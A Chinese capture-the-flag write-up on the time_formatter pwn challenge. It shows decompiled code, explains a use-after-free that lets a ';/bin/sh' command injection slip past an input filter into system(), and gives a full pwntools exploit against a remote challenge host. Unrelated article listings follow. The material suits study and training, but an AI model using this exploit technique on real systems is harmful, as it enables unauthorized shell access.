攻防世界time_formatter writeup

UAF漏洞和命令注入。

前置知识

1、strdup函数

char * __strdup(const char *s)
{
size_t len = strlen(s) +1;
void *new = malloc(len);
if (new == NULL)
return NULL;
return (char *)memecpy(new,s,len);
}

strdup函数实现如上所示,strup函数拷贝字符串的副本到一块动态申请的内存中。

2、snprintf函数

snprintf函数原型:int snprintf(char *str, int n, char * format [, argument, ...])

str是目的字符串指针,snprintf从format中拷贝n个字符串到str中去,argument是参数。

3、getenv函数和setenv函数

getenv函数用来获取环境变量的值,setenv函数用来改变环境变量的值或者增加环境变量。

getenv函数原型:char * getenv(const char *name)

setenv函数原型:char * setenv(const char *name,const char * value,int overwrite)

name表示环境变量名,value表示环境变量的值,overwrite不为0表示可以修改和添加环境变量的值,overwrite为0表示环境变量已经有值,这时候value会被忽略。

程序分析

主调函数如下所示:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__gid_t v3; // eax
FILE *v4; // rdi
__int64 v5; // rdx
int v6; // eax
__int64 result; // rax v3 = getegid();
setresgid(v3, v3, v3);
setbuf(stdout, 0LL);
puts("Welcome to Mary's Unix Time Formatter!");
while ( 1 )
{
puts("1) Set a time format.");
puts("2) Set a time.");
puts("3) Set a time zone.");
puts("4) Print your time.");
puts("5) Exit.");
__printf_chk(1LL, (__int64)"> ");
v4 = stdout;
fflush(stdout);
switch ( str2int() )
{
case 1:
v6 = set_time_format();
goto LABEL_8;
case 2:
v6 = set_time();
goto LABEL_8;
case 3:
v6 = set_time_zone();
goto LABEL_8;
case 4:
v6 = print_time((__int64)v4, (__int64)"> ", v5);
LABEL_8:
if ( !v6 )
continue;
return 0LL;
case 5:
exit();
return result;
default:
continue;
}
}
}

set_time_format函数如下所示:

__int64 sub_400E00()
{
char *v0; // rbx v0 = add();
if ( (unsigned int)check_time_format(v0) )
{
ptr = v0;
puts("Format set.");
}
else
{
puts("Format contains invalid characters.");
delete(v0);
}
return 0LL;
}
char *add()
{
__int64 v0; // rdx
__int64 v1; // rcx
char s[1024]; // [rsp+8h] [rbp-410h]
unsigned __int64 v4; // [rsp+408h] [rbp-10h] v4 = __readfsqword(0x28u);
__printf_chk(1LL, (__int64)"%s");
fflush(stdout);
fgets(s, 1024, stdin);
s[strcspn(s, "\n")] = 0;
return sub_400C26(s, (__int64)"\n", v0, v1);
}

set_time_zone函数如下所示:

__int64 sub_400E43()
{
value = add();
puts("Time zone set.");
return 0LL;
}

exit_time函数如下所示:

signed __int64 __noreturn exit()
{
signed __int64 result; // rax
char s; // [rsp+8h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-10h] v2 = __readfsqword(0x28u);
delete(ptr);
delete(value);
__printf_chk(1LL, (__int64)"Are you sure you want to exit (y/N)? ");
fflush(stdout);
fgets(&s, 16, stdin);
result = 0LL;
if ( (s & 0xDF) == 89 )
{
puts("OK, exiting.");
result = 1LL;
}
return result;
}

print_time函数如下所示:

__int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
{
char command; // [rsp+8h] [rbp-810h]
unsigned __int64 v5; // [rsp+808h] [rbp-10h] v5 = __readfsqword(0x28u);
if ( ptr )
{
__snprintf_chk(
(__int64)&command,
2048LL,
1LL,
2048LL,
(__int64)"/bin/date -d @%d +'%s'",
(unsigned int)dword_602120,
(__int64)ptr,
a3);
__printf_chk(1LL, (__int64)"Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, (__int64)"Running command: %s\n", (__int64)&command);
setenv("TZ", value, 1); // setenv函数这里添加环境变量
system(&command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}

如果我们可以把构造语句,把command中的命令构造为';/bin/sh'(单引号是为了闭合语句中的单引号),通过system函数就可以getshell。但是如果在set_time_format函数中输入';/bin/sh'会被过滤掉,所以我们这里要利用uaf漏洞,首先通过set_time_format函数申请一块堆块,然后exit_time释放掉,通过set_time_zone重新将释放的堆块分配出来,构造语句来执行。

EXP

from pwn import *
from pwnlib import *
DEBUG=0
if DEBUG:
io=process('./time_formatter')
else:
io=remote('220.249.52.133',49902) elf=ELF('./time_formatter')
puts_got=elf.got['puts']
puts_system=elf.got['system']
fgets_got=elf.got['fgets']
atoi_got=elf.got['atoi']
system_got=elf.got['system'] def launch_gdb():
context.terminal=['gnome-terminal','-x','sh','-c']
gdb.attach(proc.pidof(io)[0]) def set_time_format(content):
io.recvuntil('> ')
io.sendline(str(1))
io.recvuntil('Format: ')
io.sendline(content) def set_time_format_err(content):
io.recvuntil('> ')
io.sendline(str(1))
io.recvuntil('Format: ')
io.sendline(content) def set_time(Unix_time):
io.recvuntil('> ')
io.sendline(str(2))
io.recvuntil('Enter your unix time: ')
io.sendline(str(Unix_time)) def set_time_zone(zone):
io.recvuntil('> ')
io.sendline(str(3))
io.recvuntil('Time zone: ')
io.sendline(zone) def print_time():
io.recvuntil('> ')
io.send(str(4)) def exit_time():
io.recvuntil('>')
io.sendline(str(5))
io.recvuntil('Are you sure you want to exit (y/N)? ')
io.sendline('N') #launch_gdb()
content1='aaaa'
set_time_format(content1)
exit_time()
set_time_zone("';/bin/sh'")
print_time()
io.interactive()

time_formatter writeup的更多相关文章

  1. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  2. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  3. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  4. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  5. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

  6. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  7. We Chall-Training: Encodings I -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  8. We Chall-Encodings: URL -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  9. We Chall-Training: ASCII—Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

随机推荐

  1. windows下Docker Desktop安装管理

    检查要求 Windows 10 企业版.专业版或教育版 (必须windows10 1903版本以上)版本号 18362.1049+ 或 18363.1049+ ,次版本#大于.1049.最好是最新版( ...

  2. 服务器通信REST、gRPC,Swagger/OpenAPI,Consul

    服务间的通信方式是在采用微服务架构时需要做出一个最基本的决策.默认的选项是通过 HTTP 发送 JSON,也就是所谓的 REST API.我们也是从 REST 开始的,但最近我们决定改用 gRPC. ...

  3. yoyogo v1.7.4 发布,支持 grpc v1.3.8 & etcd 3.5.0

    YoyoGo (Go语言框架)一个简单.轻量.快速.基于依赖注入的微服务框架( web .grpc ),支持Nacos/Consoul/Etcd/Eureka/k8s /Apollo等 . https ...

  4. Jenkins之搭建部署

    一.部署环境 操作系统:Centos7 软件: apache-tomcat-9.0.48--地址:https://tomcat.apache.org/download-90.cgi jdk-8u291 ...

  5. Linux导出未越狱Iphone10.3-QQ聊天记录

    起因 手机当中的聊天记录已经快两年没有备份了,生怕某天QQ版本升级中丢失掉这些聊天记录,所想将这两年的聊天记录保存下来 查找了好多资料,结果10.3以后,IOS改变了策略,貌似不允许通过以前方法导出了 ...

  6. 为什么使用 LSTM 训练速度远大于 SimpleRNN?

    今天试验 TensorFlow 2.x , Keras 的 SimpleRNN 和 LSTM,发现同样的输入.同样的超参数设置.同样的参数规模,LSTM 的训练时长竟然远少于 SimpleRNN. 模 ...

  7. ESXi 切换直通导致无法识别硬盘解决

    在解决虚机挂载U盘的过程中(已经处理了:VMware中的虚机如何挂载U盘),怎么样都无法加载U盘,故进行了一次操作直通操作的过程中,不小心把所有的存储和控制器全部直通了,导致Esxi主机无法识别到自己 ...

  8. Qt5双缓冲机制与实例

    1. 双缓冲机制 所谓双缓冲机制,是指在绘制控件时,首先将要绘制的内容绘制在一个图片中,再将图片一次性地绘制到控件上. 在早期的Qt版本中,若直接在控件上进行绘制工作,则在控件重绘时会产生闪烁的现象, ...

  9. C语言:输出数字各个位的数字及和

    #include <stdio.h> int main() { char sh[13][5]={"个","十","百",&quo ...

  10. 论文阅读:Visual-Inertial Localization With Prior LiDAR Map Constraints

    介绍 提出了一个低代价双目视觉惯导定位系统,实现了基于多状态约束下的卡尔曼滤波器(MSCKF)VIO,采用了先验雷达地图.除了稀疏的视觉特征,雷达地图与半稠密的点云也通过紧耦合的MSCKF进行更新,进 ...